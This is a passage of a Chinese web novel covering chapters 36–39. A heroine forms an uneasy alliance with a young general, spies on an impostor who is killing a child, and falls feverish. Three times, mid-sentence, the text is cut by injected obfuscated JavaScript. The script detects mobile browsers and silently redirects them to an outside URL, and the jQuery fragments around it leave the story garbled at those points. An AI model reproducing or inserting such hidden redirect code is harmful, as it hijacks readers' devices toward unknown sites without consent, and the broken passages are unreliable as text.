被装在布袋里的少女双目紧闭，白皙的脸颊上还带着一道浅浅的血痕，浅粉色的襦裙上除了一层沙粒，还零星带着几处血痂，显然身上受了伤。 许是伤势过重的缘故，她并没有力气睁开眼，只是微弱地尽力呼吸着创满血腥味道的空气，又像是有所预感一般，指尖颤抖着想要去握那双把她从布袋中解救出来的手。 “事不宜迟，咱们兵分两路。小七轻功好，就由你来背她出去直接到医馆医治。我俩就去府衙报官，无论如何也不能再让他们如此逍遥法外。” 陆时礼不动声色地收回了手，转过身吩咐两人，而小七他俩先是一怔，但也没有多问，点头应了下来。 就在他们齐齐撞门的瞬间，没人注意到。 在地上奄奄一息的“莲心”突然睁开了眼睛，眼底唯有一片猩红。 36. 共事 翌日一早，京城府衙内的捕快就全部出动，将朱雀街围了个水泄不通。 要说那伙贼人也甚是猖狂，竟然敢对江洲左布政使家的长媳下手，因着陆时礼亲自前去报案，县太爷也没办法再找借口拖延。 事情闹得太大，别说乌纱帽保不住，都有可能会掉脑袋，所以他左右一想，干脆将捕快全部派出，不管能不能捕获，但态度是一定要给出来的。 “哎，要不说连阎王都要看身份收人呢，人家陆家少夫人就能捡回来一条命，咱们可赶不上这种好运道！” “就是，真是可怜韩老汉家的小孙女了，那么小就……” “这光找到的尸首就有十来个，还有那么多活不见人死不见尸的呢，哎呦，真是造孽啊！” …… 经过朱雀街大门时，来来往往的行人大多都会驻足一会，七嘴八舌地议论几句，最后无不都是摇头叹气，牵紧了自家的孩童。 在一种人群的外围，立着两个浑身上下直往下掉土渣的人，但因着这几日风沙较大，所以也没有引起什么注意。 其中一个右手缠着草条的自然就是莲心，而旁边抱臂饶有兴致听着人们议论纷纷的，正是跟了她一路的齐绍宁。 说着说着，话题就从害人无数的噬野教，偏离到了对大曜今年粮食收成的预测，按他们的想法，这些坏事都是因为含在粮食收成少。 往年五谷丰登的时候就国泰民安，现在吃不饱饭那些歪门邪道就开始冒了头，所以他们话题说来说去，总是绕不过粮食收成。 “你目的应该已经达到了，就别跟着我了”，莲心直直看了街道里来来回回探查的捕快一会，头也不回地边走边说。 身后的齐绍宁先是一怔，随即莞尔一笑，迈开步子三两下又跟了上去，笑着问。 “苏小姐这话我就听不懂了，在下好心好意出手相助，你不感谢就罢了，怎的还说我别有用心呢？” 往外走出一里，又是一条小吃街，路过一家肉包铺子时，莲心猛地停下脚步，扭头看向他。 “世间之事从来都是有来有往，你救我并帮我正骨，想要什么还请言明。就像我买包子一手交钱一手交货一样，钱货两清之后彼此各奔东西。” 说罢她也没有急等齐绍宁回应，自顾自从袖口取出十文钱递给小贩，买了六个圆滚滚的肉包子，分出三个给自己。 “喏，先垫垫肚子”，见他没有要收的意思，莲心一扬手将装着包子的油纸袋扔到他怀里。 “放心，这个不算在谢礼中，你可以边吃边想，能帮忙的我一定不推辞。” 路边铜铃阵阵，席卷而来的烟尘中一前一后飞驰过两道良驹，饶是因长途跋涉浑身沾染了不少沙土，但马首仍旧昂扬向上，就连脖颈处那乌黑的鬃毛也乌黑油亮，在日光下泛起光彩。 “不简单啊……” “不简单？”齐绍宁脚步一顿，饶有兴致地抬头看着莲心半边皎白的侧脸，“是说那马，还是说人？” 其实他这么问也不全是试探，这两年各方势力皆是跃跃欲试，不仅大曜内部分帮结派互相分裂，除了东倭之外，不少貌似臣服的小国也各自有着盘算。 别的地方尚且不提，这两年有不少只听过名字的小国派出一批批的使臣和商队，假托交换物资的名号，实则确是干的“间谍”的勾当，从各方面打探大曜国情的虚实。 一个方寸之地的小国不足为据，可若是十个，甚至百个，就很难评判胜败了，想到这里，莲心轻轻叹了口气，摇了摇头。 “都有”，她的视线投向略显清冷的铺子，看着眼前不断经过的行色匆匆的人群，“你没发现这段时间想要趁火打劫的人越来越多了吗？” 听她这么一说，齐绍宁也有几分认真地看起隐没在大曜平民中的异国人，不仅看，还抬起右手，用食指一边点一边说。 “金发碧眼，胡人；腰带长刀，倭人；卷发狼袍，突厥……” 就这么一会儿的功夫，等到莲心让那家汤铺开了张，端着两碗热气腾腾的杂菜汤回来时，齐绍宁略有惊叹地望向她，“我粗略数了一下，光是我能叫出名字的，就有十五个之多！” 莲心却没有多少惊讶，靠在已成暗红的砖墙上，半仰着头灌下一大口热汤，半晌才回了一声，“哦”。 “原本以为我齐小爷十二岁入战场，尸山血海中摸爬滚打一遭早已处变不惊，没成想高手在民间啊，你莲心姑娘才是沉静如水啊！” 看着齐绍宁故作夸张的样子，莲心轻嗤了一下，仰头又喝了一口汤，这才抬起袖子，挑了一处干净的、未被沙土沾污的，擦了擦唇角溢出的水渍。 “天朝上国已有将颓之势，这些称臣进贡的小国想要借势翻身也很正常。正所谓‘治大国若烹小鲜’，虽然我家世世代代只开镖局，但其中竞争之道也都是相通的。” “莲心姑娘所言极是，是我大惊小怪了”，齐绍宁先是一愣，随即放下手中的汤碗，认真地拱手一揖，这一下的功夫神色间那点玩味散去，眸色平静真挚。 对于他突如其来这一下莲心有些惊讶，但也很快明白过来，也放下碗回了一礼，不知想到什么，唇畔携上一抹淡淡的浅笑，直直的看向他。 “齐少将军不必如此，自古至今草莽英雄如过江之鲤，巾帼英雄也层出不穷。莲心不过是和父亲行镖途中多行了些路，多见了些人听了些故事。少将军身经百战，为人处事自不是莲心能够比拟的，只是有句话我思来想去，觉得现在来说最为妥当。” 少女杏眸又大又亮，如同两面皎洁无瑕的银镜，映得见她一片乘车路线的赤子之心，同时，也照得出对面的一切情绪，仿佛任何自私罪恶的想法都无所遁形。 不知是何缘故，齐绍宁被这么一看，破天荒的有些不知所措起来，分明刚喝过汤，可喉咙却只觉得发干发涩，明明周围寒风四起，可身体只觉得涌过一阵热流，额头都泛起了细密的汗。 半晌，他才后知后觉听到自己的声音，“但说无妨，我定洗耳恭听”，没有急于追究自己身份被发现的原委，他更好奇这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15400522|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位聪慧狡黠的少女会跟他说些什么。 “齐家历代矢志报国之心令人钦佩，将军少年英才更是国之栋梁，莲心自知才疏学浅，唯有家父生前行走江湖的一句座右铭送上。‘俯仰天地，无愧于心’，凭着这句话家父成为福州人人称赞的镖师，一生中走镖无数未有丝毫差错。今天跟小将军说这句话没有别的意思，只是世道混乱，但道理却始终没有变，” 俯仰天地，无愧于心，齐绍宁在心中将这句话反复默念了三次，才拱手郑重地点了点头。 “这短短八个字知易行难，能践行一段时间已是不易，而苏伯父践行一生更是难得。莲心姑娘的心意在下知晓，还请姑娘放心，无论世道如何变，为国为民的心永远不会更改。” 言罢他抬起右手，紧握成拳放在自己胸口，正色说，“口说无凭，这八个字齐某揣在心口，时不时拿出来自省一番，是非曲直，待到人生末年再盖棺定论。” 有多少胸怀壮志的少年英才，怀揣着为国为民的理想踏入官场，可却在官场日复一日的交锋中深陷泥沼，在勾心斗角中沉沦，变成了少年时最为批判的模样。 国家二字从来都不是分开的，国家繁荣强盛才会有家家户户的灯火通明，可这家并不是少数手握权利之人的小家，而是万千民众所组成的大家。 都说守成难，难在不患寡而患不均，也难在日久天长下逐渐更改的那颗心，这道理莲心明白，齐绍宁明白，京城中不少阿谀奉承的官员也明白，可已经改变了的，即使追悔莫及，也很难在恢复如初了。 坚守不变需要代价，扭转回返也需要代价，难就难在，愿意承担代价的人，从来只占据了少数部分。 思及此，莲心将留有余温的杂菜汤一饮而尽，一边直起身拍了拍身后的尘土，一边朝齐绍宁拱了拱手。 “天下无不散的宴席，齐将军的救命之恩莲心深感在心，便在此遥祝将军万事皆成。江湖路远，今日相遇之事莲心也定会守口如瓶，天色不早了，那便就此别过，您多保重。” 一口气说完这一通，莲心先是有些惊诧，虽然她素来不喜欢看些史书典籍，但嘴皮子也算得上溜，可一口气说出这么多客套话也是从未有过的。 从前和父亲走镖中，见的大多是江湖中人，注重的是真心义气，很少会说些在彼此看来“生分”的话，因此她惊讶中又不免疑惑，思来想去还是归功于陆家的耳濡目染。 这么一看，近朱者赤也有一定道理在，虽然只有不到一年的时间，但时常看着陆时礼捧着书卷，饶是莲心没有沉下心去仔细阅读，也在不知不觉中被同化了一些。 不知为何，莲心突然觉得有点闷，胸口处有些沉甸甸的，就好像氤氲了一团雾气。 于是，也顾不上对面的答复，就在身畔行过一辆摇摇晃晃的马车时，莲心扭头向幽深的巷子深处走去。 刚走出几步，身后的脚步声越来越近，果不其然，下一秒熟悉的声音又响在耳畔。 “别急，咱俩可以一起走的路，这才刚刚开始！” 37. 打工 莲心原本以为，戳破了那层身份，两人之前那点似有似无的鸿沟，就完全显现出来了。 也正因此，对于他追赶而来的行为，心中也有着几分不解，但在当前这种情况下，作用远比原因更加重要。 因此她只是微微一顿，便将原本那句“你为什么跟来”转变成了“既是同路，不知是哪一条路”，虽说是在问话，但她并没有回头，眼睛始终紧盯着脚下的路。 也许是之前的经历太过离奇，又或许是死里逃生的后遗症，莲心虽称不上惊魂未定，但经此一遭，该有的警惕只增不减，吃饱喝足后，随着饥饿感一同散去的，还有逃生后的那点庆幸。 这举动自然也没有逃脱过齐绍宁的眼睛，对于眼前的这个少女，他始终觉得好奇，一些矛盾的特质融合在她的身上并不显得突兀，反而显得格外融洽。 就比如她为人直率热情却又在一些事上表露出含蓄的冷漠，又比如她一双澄澈单纯的眼眸中总喊着几分若有似无的审视。 她整个人就和这些特质一样，让人难以捉摸，可即便这样，却又能觉得莫名心安，就好像只要你无愧于心，她就会是战场上你可以托付后背的同伴一样。 想到这里，齐绍宁浅浅一笑，语气中带着几分调侃，同时也含着些许自嘲。 “莲心姑娘玲珑心肠，何必再问呢？再说齐某刚向姑娘表露真心，哪怕是刀山火海，只要姑娘一声令下，齐某定会誓死跟随，连眼都不会眨一下！” 听他这么直白的话，莲心不但没有表露丝毫羞窘，反而抿了抿嘴，“扑哧”一下乐了出来。 “我后面有的是事要做，吃也吃了喝也喝了，再说下去就没意思了。我也看得出来您是个忙人，您有事尽管去做，我肯定守口如瓶，就算日后碰巧遇到，也绝对半个眼神不会多看。” 她话一说完，便见对面的齐绍宁先是拧了拧眉，随后恍然大悟一般又眉目舒展开来，最后冲着她神秘一笑，上前两步压低了声音道。 “莲心姑娘洒脱直率令在下欣赏，不过有一点姑娘似乎还没看清楚”，他挑了挑眉，狡黠地眨了一下眼，“现下不是你要不要和我合作的问题，而是能不能与我合作的问题。” 虽然只有一字之差，但两者却有着本质的区别，前者是具有主观选择的意味，莲心显然处于掌握主动权的一方，但后者就不同了。 “能不能”这三个字具有客观的限制性，成事不仅在人，败事也含着天时地利的缘故，每当提及之际，总是充斥的若有似无的淡淡无奈。 而既然齐绍宁这么说了，显然是把莲心摆在了合作的下风口，自己以高一级的姿态，牢牢掌握着合作的主动权，表达自己意图合作的想法，而非请求。 不知这招用在两军谈判之际效果如何，反正莲心觉得，对自己来说是有用的，不管怎么，她对于自己莫名其妙被人拉拢，还是这样居高临下的含着隐隐胁迫的拉拢有些感兴趣。 就这样，她耐着性子，也学着齐绍宁那种将一切玩弄在股掌之中的语气开了口，却在听到自己声音的刹那有些晃神，不为别的，就是那语气并不似齐绍宁，反而同阔别数日的陆时礼如出一辙。 从语气到语调都很像，像到有些陌生，莲心甚至觉得，这段时间里，自己被耳濡目染的，不止谈吐，更有自内而外的气质。 “那敢问齐少将军，在那张版图里我能做些什么，而你，又要做些什么？” 果然，听到她这样处变不惊的询问，对面的齐绍宁也是一怔，但也只有须臾，很快他又恢复了刚才运筹帷幄的微笑，甚至眼角弯起的弧度更深。 “因着还在筹划之中，具体细节恕在下难以坦白相告。但只有一点莲心姑娘大可放心，在下和姑娘的想法是一致的，匡扶的是大曜社稷，挽救的是万千黎民。” 说到这里，他语气一顿，看向莲心的眼中多了几分凝重。 “况且难道莲心姑娘不想知道，倭寇屠城的真正目的以及背后的种种阴谋？” 一听到这句话，莲心只觉呼吸一滞，语气急促地问道，“你都知道些什么？” 看着她迅速变红的眼眶，以及那双瞪大的眼中布满的血丝，齐绍宁在心中轻轻叹了一口气。果然，无论如何坚韧果断，到底还是个年方十七的小姑娘，这偶尔溢出的悲伤不免让人为之心疼。 “莲心姑娘无需着急，对于福州的遭遇在下知道的比起姑娘只少不多”，没来由的，齐绍宁的语气放柔了几分，这若是让军中那些部卒听到，恐怕要惊掉下巴了。 眼见着莲心逐渐由激动转为疑惑，齐绍宁又继续说道。 “只不过常在军中，对各方消息了解的更多一些，将几处拼到一起，也就猜出了几分寻常难以获得的消息。” 他一句说完，见莲心没有答复，而是仍旧静静地凝视着他，仿佛等待他继续说下去，他无奈地摇头笑笑，低声说。 “碍于形势在下言尽于此，事关重大莲心姑娘思虑再三在下也能理解，只是在下也有一句话要送给姑娘。” 莲心这才悠悠然开了口，声音轻轻地说，“你说。” “世事如泥沼，一旦踏出一步难免留有痕迹，及时抽身也不过是从一个泥潭进入另一个泥潭。人生在世很多事都难以抉择，而唯一紧握在自己手里的，只有那支撑自己悬于泥中的藤蔓。” 良禽择木而栖。 莲心虽然读过的诗书不多，但还是领悟到了其中的一层深意，她隐隐觉得他话中不仅这一层含义，但琢磨一阵再无头绪也就作罢。 看了眼不远处齐绍宁被残阳不断拉长的漆黑倒影，莲心将思绪又拉回到合作与否的事情上来，在家时苏父就说她有个最大的优点，那就是不跟自己过不去。 想得通的就一定要追求到底，想不通的就要茶饭不思地去琢磨，固然是当前鼓励的韧劲，可是长久如此难免伤身伤神。 就像陆时礼常说的万物皆有规律，很多事情在当下想破了头都得不出个所以然来，未尝不可先放下各执一段，说不准就在第二天吃饭的功夫，就一下子茅塞顿开了呢。 可人生在世无所牵绊也就无所在了，牵绊住莲心的，就是父母言传身教的仁义 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15423764|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道德，这不，在衡量齐绍宁提出合作的利弊时，她着重考虑的也是这些。 对方再不济也是驻守一方的将军，家族盘根错节怎么着也算得上是一棵大树，都说背靠大树好乘凉，能选择她来投靠，显然是看中了她的某些特质。 在这个时候，依靠权势金钱达成的合作往往并不稳固，呈现土崩瓦解之势的朝堂和一拨拨分崩离析的起义军便是例子。 因此，她这个与东倭有着血海深仇的孤女便成为了要发展的一员，或许他们还看重了她的那点功夫，莲心无意追究他们为何要选她合作，反倒是对齐绍宁避而不谈的计划有所担忧。 之前他曾含混地说和倭寇也同样有着血海深仇，可在莲心浅薄的了解中，齐家世代镇守北地，老对手是虎视眈眈的突厥，也从未听说和最南部的倭寇有什么仇。 虽然不愿意承认，但现在她的处境也正如齐绍宁所言，没有什么选择的权利，比起一个人孤军奋战，有组织的行动显然更为靠谱。 别管突厥还是东倭，都是要打的敌人就是了，敌人的敌人就是朋友，况且…… 看着远处客栈随风飘摇的旗帜，莲心深深地长叹了一口气，连身份都被人家给冒名顶替了，这边就算想图她什么，她也光脚的不怕穿鞋的，豁出去了。 一旁的齐绍宁显然也注意到了她的表情变化，见她紧咬牙关一副随时准备慷慨就义的模样，不免有些哭笑不得，想了想还是决定安慰一句。 “那个……旧的不去新的不来嘛，不如趁机更名改姓，崭新的道路就从这里开始？” 旧的不去新的不来你个大头鬼啊，莲心狠狠地瞪了他一眼，半吼道。 “行不更名坐不改姓，光天化日天理昭昭，我苏莲心还不信正义还要为邪恶让路！我还就在此放话了，哪怕就剩最后气我也要和他们斗到底。不将贼人连根拔起，哪怕到了黄泉地府，我也要化作厉鬼将他们一起拉下去！” 只见她双拳紧握，眼睛瞪得跟铜铃一样大，语气慷慨激昂宛若恶战前的动员，齐绍宁忍了又忍，还是没有忍住，只得抬起右拳挡在唇前，偷偷笑了起来。 却没成想这一个无意中的手势，竟让莲心想起了从前的点滴回忆，一幕幕温情的场景与当前形成了鲜明对比，饶是莲心强自将其压下，也不免有些红了眼角。 “你这……怎么了？” 齐绍宁见她一下子由喜转悲，有些摸不着头脑，还以为是自己偷笑又激怒了她，连连拱手赔着不是，见她只是扭过头，半天才回过味来，感情是勾起伤心事了。 再联想自己刚才的动作，苏父为人直爽只怕做不出来，能如此且又引她伤怀的，也就唯有她成婚不到一年的丈夫，有着少年天才之称的陆时礼了。 想到这里，他忽然又久违地感到胸闷，有些烦躁地踱了两步，才低低憋出一句。 “那个……既然你同意合作了，我就给你先安排任务了，咱们也养不闲人。” 打工人打工魂嘛，莲心也很有觉悟地收练了情绪，郑重地行了一礼。 “谨遵大人吩咐！” 38. 夜探 “什么？让她接手吉祥镖局的那趟镖？” 偌大的客栈里，老孙一边往炭盆里加灰色的炭，一边惊诧地抬起斑白的头颅，手上一个不注意被烧起的炭灰溅了一下，赶忙搓着手倒吸了口热气。 “怎么，咱们费这么大周折拉拢她入伙不就是为了此事，现在事情都已经安排下去了，您老这么惊慌是为哪般？” 一旁斜靠在软塌上的齐绍宁笑觑了自己的这位叔叔一眼，修长的手指抚过放在桌案上佩剑那剑鞘上镶嵌的血玉。 奈何那玉石太有棱角，冷不防在左手食指上划出了条浅浅的口子，一瞬间鲜红的血液争先恐后地涌出，一滴滴落在银白的剑身上，流成一条短短的血河。 “此一时彼一时嘛，那时候我又没见过那帮人的手段，哎呦——”，老孙刚将炭火烧旺，就瞧见齐绍宁正望着不断往出冒血的手指出神，赶忙上前两步撕下一块干净的布递了过去，嘴上还不忘嗔怪着。 “你这小子怎么就这么不知道爱惜身体，还亏得你爹放心让你独自出门，殊不知别说我了，就连在他跟前你都半点不注意自己那条小命！” 汩汩流出的血液是温热的，随着刺痛而来的，还有逐渐平静下来的意识，不知从何时开始，齐绍宁沉迷上了用痛感来刺激自己的神经。 起初是用在连日不休的战事上，后来变成了难以割舍的习惯，不管大事小事，只要他觉得有些心烦时，就会划破一根手指，静静地看着鲜血流出，这样就能激活自己的神经。 “孙叔您这是哪里的话，我爹的话我听，您的话我更得听了”，齐绍宁赶忙露出个痞笑，毕恭毕敬地接过白布，三下两下随意地将那根流血的手指包成了个粽子。 见他这番满不在乎的样子，老孙是气不得又怒不得，毕竟不是亲生儿子，虽不讲究上下级关系但再亲也是外人，说话做事总也有个限度。 可他打从这位小将军十四岁上战场就陪在身边，这五年下来早就当作亲生儿子来看，虽然没有子嗣，但老孙自认自己会是个慈父，不仅拦着老齐将军打骂体罚，还见不得他受半点伤。 战场上刀剑无眼实属无奈，可下了战场老这么伤害自己就当真不该了，他想了一下，还是多嘴又唠叨起来。 “你胸怀壮志是好的，可是身体是一切的本钱啊。你也别嫌我唠叨，就算不为我和老将军想，也总得为自己想想。” 说到这，他顿了顿，还是小声继续说了下去，“夫人生前最怕你受伤，若她在天之灵见你如此，怕是不知该有多……” “孙叔！” 果不其然，他话还没说完，就被齐绍宁沉声给打断了，“天色也不早了，明天还有不少事要去做，您也早点回房歇息吧。” 老孙自知说错话越过了界，只是张了张嘴并没出声，见他已经委婉地下了逐客令，轻轻摇了摇头，慢慢踱出了门。 屋内的齐绍宁看着这位叔叔略显佝偻的背影，那点情绪早就烟消云散，在他转身关门的时候，又轻声说了一句，“晚上风大，您别想太多早点休息。” 听到这话老孙推着门的手一顿，面上浮现出一抹释然的笑，赶忙点着头连声道，“哎，哎……” 待到那脚步声顿住，随即传来“吱呀”的推门和掩门声，齐绍宁才一把扯下早已被鲜血浸透的白布，看着上面宛若红梅般朵朵绽放的血迹，无声地笑了一声。 随即他从布囊中取出黑色的夜行衣，熟练地穿戴齐整，最后一把提过桌案上早已血迹干涸的佩剑。 一张被黑布遮住的面容上，唯有那双狭长的凤眼炯炯有神，在推开窗棂望见沉沉的夜色时，微不可察地弯了一弯。 下一秒，便凌空而起，宛若天边略过的苍鹰一般，穿行在了空无一人的屋檐之上，向着陆时礼他们长住的那家客栈飞奔而去。 当夜无风无云，皎洁的月光下，除了他这道矫健的身影外，在完全相反的方向，也灵巧地掠过一个纤瘦的黑色身影。 翻上跃下，层叠起伏，虽然来向完全不同，但目的地却是一致的，都指向同一个地方，那就是陆时礼他们所在的客栈。 而那另一个锦衣夜行的也不是别人，正是半日前才刚分道扬镳的苏莲心。 莲心此行的目的只有一个，那就是想要看上那个冒充她的女子一眼，回去之后她越想越不对，总觉得这件事情很有蹊跷。 她隐隐有些预感，那个人很有可能就是她失散多年，在陆家人眼里早已离世多年的苏莲见。 前两次的惊鸿一瞥此刻也越发历历在目，好似雾里看花，越是看不真切越是觉得惊慌，总想要上前去一探究竟。 杯弓蛇影终究劳心劳神，莲心一咬牙便将自己掩盖起来，趁着夜色已深便揣着那把匕首，仗着自己轻功不错，连夜往那件客栈飞奔而去， 不为别的，知己知彼才能百战不殆呢。 连夜摸黑走夜路她不止一次，可不知为何，眼看着离那家灯火越来越近，莲心突然觉得步子越发沉了起来，不仅速度越来越迟缓，竟还隐隐萌生了想要退缩的心思。 就在这时，耳边突然响起了一声落地的轻响，这声音极轻极轻，放在寻常人肯定听不出半点，可莲心毕竟是习武之人，对于这点细微的声音还是十分敏感的。 更何况……是在自己准备偷偷摸摸做点勾当的时候，这种警惕性就会格外强烈。 “唰”地一声，莲心感觉到身前袭来一阵疾风，她本能地侧身挡开，可对方显然提前预料到她这一动作，手中长剑银光一闪，反倒直直刺向她的面门。 莲心刚忙拔出匕首来挡，虽然堪堪避开一击，但面上覆盖的黑布还是被劈成了两半，随着冷冽寒风一同而来的，是迎风飘落的黑布。 “打人不打脸，你这贼人好不地道，本姑娘跟你拼了！” 握着手中一分为二的布料，莲心感觉受到了奇耻大辱，在画本子里大侠行走江湖最忌讳被人看出本来面容，更何况她现在的身份还是个“小贼”，这就更不能放过他了。 然而还没等她再出手教训，只见对面不知为何笑了起来，仅隔着几步之遥就是那家客栈，若是引人注意那可不就前功尽弃了，莲心一看这还得了，赶忙抬着匕首示意他后退两步。 “我说你有没有点做贼的基本素养啊，偷袭不说还傻愣愣的笑，笑你个大头鬼啊？” 对面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426298|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑声虽然停了，但看那仍旧颤动的肩膀莲心便不难猜出，这家话还是在笑，不想管他正要扭头就走，却听见一声熟悉的揶揄。 “莲心姑娘且慢！杀人诛心也不过如此，我来都来了，不如就帮姑娘进入探查一番，省得你触景生情，万一再想不开……” 莲心闻声回头，果然看见齐绍宁那张英挺的面容，尽管一袭黑衣，却也掩不住那英姿勃发之气概。 但此时的莲心全然忽略了他光鲜的外表，鄙夷着那总喜欢捉弄别人的丑恶内心，没好气地打断了他的话。 “命里有时终须有，若他心意更改，我苏莲心必当断则断绝不拖泥带水。” 言罢又瞪了他一眼，举起手中还未出鞘的匕首示威般晃了晃，随即利落地拔出匕首割下衣摆一块黑布，三两下又系在自己脑后。 “我只提醒您这一次，虽然您是我上级，但个人生活您没有权利插手，另外……”，她露在外面的一双杏眼眯了一眯，含着几分危险的光。 “我早已看破红尘，虽然不知道您来此所为何事，可我深夜至此绝非为了个人感情，是为了验证心中一个可怕的猜想。” 说完她再没有停顿，如同翩跹的蝴蝶一般飞跃了快一人高的院墙，以无人察觉的声音慢慢向着院内而去。 而留在原地的齐绍宁看着她逐渐远去的身影，饶有所思地摇头笑了笑，随即又盖住了面容，也向着院内悄声而去。 客栈不大，陆时礼他们住的又是二楼的三个房间，莲心早已知晓大致位置，轻车熟路地轻轻揭开几片瓦片，借着屋内朦胧的灯光，勉强能够看清屋内的景象。 随后赶来的齐绍宁见状，又是不咸不淡地调侃一句莲心不愧行走江湖，这独门手艺真是让人瞠目结舌，但这个话题也没再继续，因为两人的全部注意，都被屋内的情景给吸引。 起初映入眼帘的是陆时安的房间，和前几日一样，这小子仍旧挑灯夜读，只不过灯虽然亮着，但他早已枕在书卷上酣然入睡。 即使隔着一段距离，莲心他们也能看见他挂在嘴边那晶莹透亮的涎水，几乎都要落在展开的书卷上了。 哑然失笑之际，隔壁房间的景象也出现在眼前，不用看，正是陆时礼的房间。 屋内烛火微弱，桌前书卷早已码放整齐，因着床榻处在角落难以窥见全貌，但那隆起的寝被已经显示了屋内之人已经歇下，两人对于看人如何睡觉都没有半点兴趣，很快都移开视线，投向那最后一间房。 这不看还好，一看两人都浑身一颤，莲心更是差点一个踉跄摔下去，还是身旁的齐绍宁眼疾手快拉了她一把，这才免去了这劫难。 莲心惊魂未定，掩在黑布下的俏丽脸颊满是苍白，颤抖地低声问，“你……看见了吧？” 若是再从那片瓦片露出的空隙往下瞥上一眼，恐怕寻常人早就怪叫出声了。 只见那昏暗灯光下，一个稚童脖颈被齐齐划开，汩汩鲜血正顺着竹竿流入一个紫檀小瓶中，而用举着小瓶的红衣少女正巧抬起了头，艳若鬼魅的红唇抿起一个弧度。 而她未施粉黛的眉眼，正和屋檐之上只露出眼睛的莲心，有着六七成的相似。 39. 偶遇 莲心病了，高热不退，深陷梦魇。 在梦中她被牢牢困在一个不见天日的地牢之中，四周都是充斥着腥气的泥泞沼泽，不仅无处可逃，耳畔还是常能听到孩童凄惨的啼哭。 男孩女孩，清脆的童声被拉长成尖厉的哭叫，莲心举目四顾只有无尽的黑暗，正在她心急如焚之际，高处突然落下一滴冰凉在她右颊，冰凉凉滑润润，转瞬就滑落在脚边的泥土里。 莲心伸手去摸，幸好还未干透，指尖触到湿润，放在鼻尖一嗅不禁浑身僵住，那气味她再熟悉不过，腥甜凉腻，还带有些许温热的温度。 是血，新鲜流淌的血，或者说，是从孩童白皙纤细脖颈处汩汩流出的血。 不知是何缘故，莲心突然之间似是被神灵附身，一跃有一丈多高，眼见着就要离那束光亮越来越近，她赶忙高举手臂想要救下唯一一个还幸存的孩童。 在尖刀几欲划破他脖颈的时候，莲心的指尖也已经触到了孩童的手臂，就在她准备一鼓作气救下孩童时，却突然发现身体一紧，再也无法前进分毫。 回首看去，借着透过的微弱光线，莲心恍然发觉身后无边的黑暗中不知何时伸出了一双双惨白的手臂，争先恐后地拉住了她的脚踝，甚至有几只手已经向她的小腿袭来。 一拉一扯之间，莲心这才看清，那与其说是手臂，不如说是断臂，小臂似是被利器连根展下，血液早已干涸变为深黑色，血肉模糊的断口也随着手指张牙舞爪地翕动着，场景极为恐怖恶心。 状似人间炼狱，莲心心想。 一瞬间她似乎又回到了被屠城的那一日，那些手臂中有她父母的，还有平时给她递新鲜吃食的叔婶们的，可现在他们早已没了意识，只是麻木地想要将她这个外来者拉入深渊。 嘶吼着，嚎哭着，莲心早已没了气力，就在她被拽着越陷越深的时候，逐渐变远的光亮中突然探出了一张妆容精致的人脸，染血般猩红的唇畔牵出深深的弧度。 “亲爱的堂妹，别来无恙啊……” 许是要最后印证她猜想一般，那少女用和她五分相似的容颜，却截然相反的阴翳神情深深地凝视着她，高深莫测地低声说道。 莲心一个激灵惊醒过来，惊呼之后才发现自己竟发不出半点声音，她似乎出了不少汗，连纤长的睫毛上都细细密密铺满了一层汗珠。 “谢天谢地，你总算醒了！” 一瞬间面前突然放大了两张人脸，其中一个莲心认识，是齐绍宁，而另一个略显沧桑的莲心虽然不知，但很显然从他的神情来看，只有关切并无恶意。 只见齐绍宁先是一怔，随后便将手中握着的汤碗递了过来，如释重负地长叹了口气，“醒了就好，方才我俩正发愁给你灌药的事呢，这下好了，你赶紧趁热喝了。” 听他这么一说，莲心顿时觉得有些不好意思，赶忙接过汤碗，憋着口气将其一饮而尽。 喝得容易，可那苦味却如同嚼了黄连一般久久难以散去，一旁的老孙见状心下了然，将早已准备好的松子糖递了一块过去，笑着说，“药苦，吃块糖缓缓。” 说来也怪，分明对苦味如此敏感，可这平时有些腻人的松子糖今日入口却感觉不到什么甜意，也不知是口中本苦，还是因着高热味觉产生了异变。 见她喝完了药，老孙接过汤碗抹了抹手往门口走去，临走前还不忘将门小心地虚掩好，只留下屋内面面相觑的两人。 因着说不出话，莲心便将目光投向了案上半摊开的纸笔，一旁的齐绍宁也心领神会，两步上前将其取来展在莲心面前。 方才一时还不觉得，如今半垂着头莲心才恍然发觉，自己的脸上似乎被松松裹了一层绷带，低头扫去甚至能看到包在眼睛周围的一层白布。 “给你包成这样有两个原因，一是你高热后就起了疹子，大夫看过后说你是心火旺盛过度，开了几服外敷内服的药，缠上绷带是防止见风加重。” 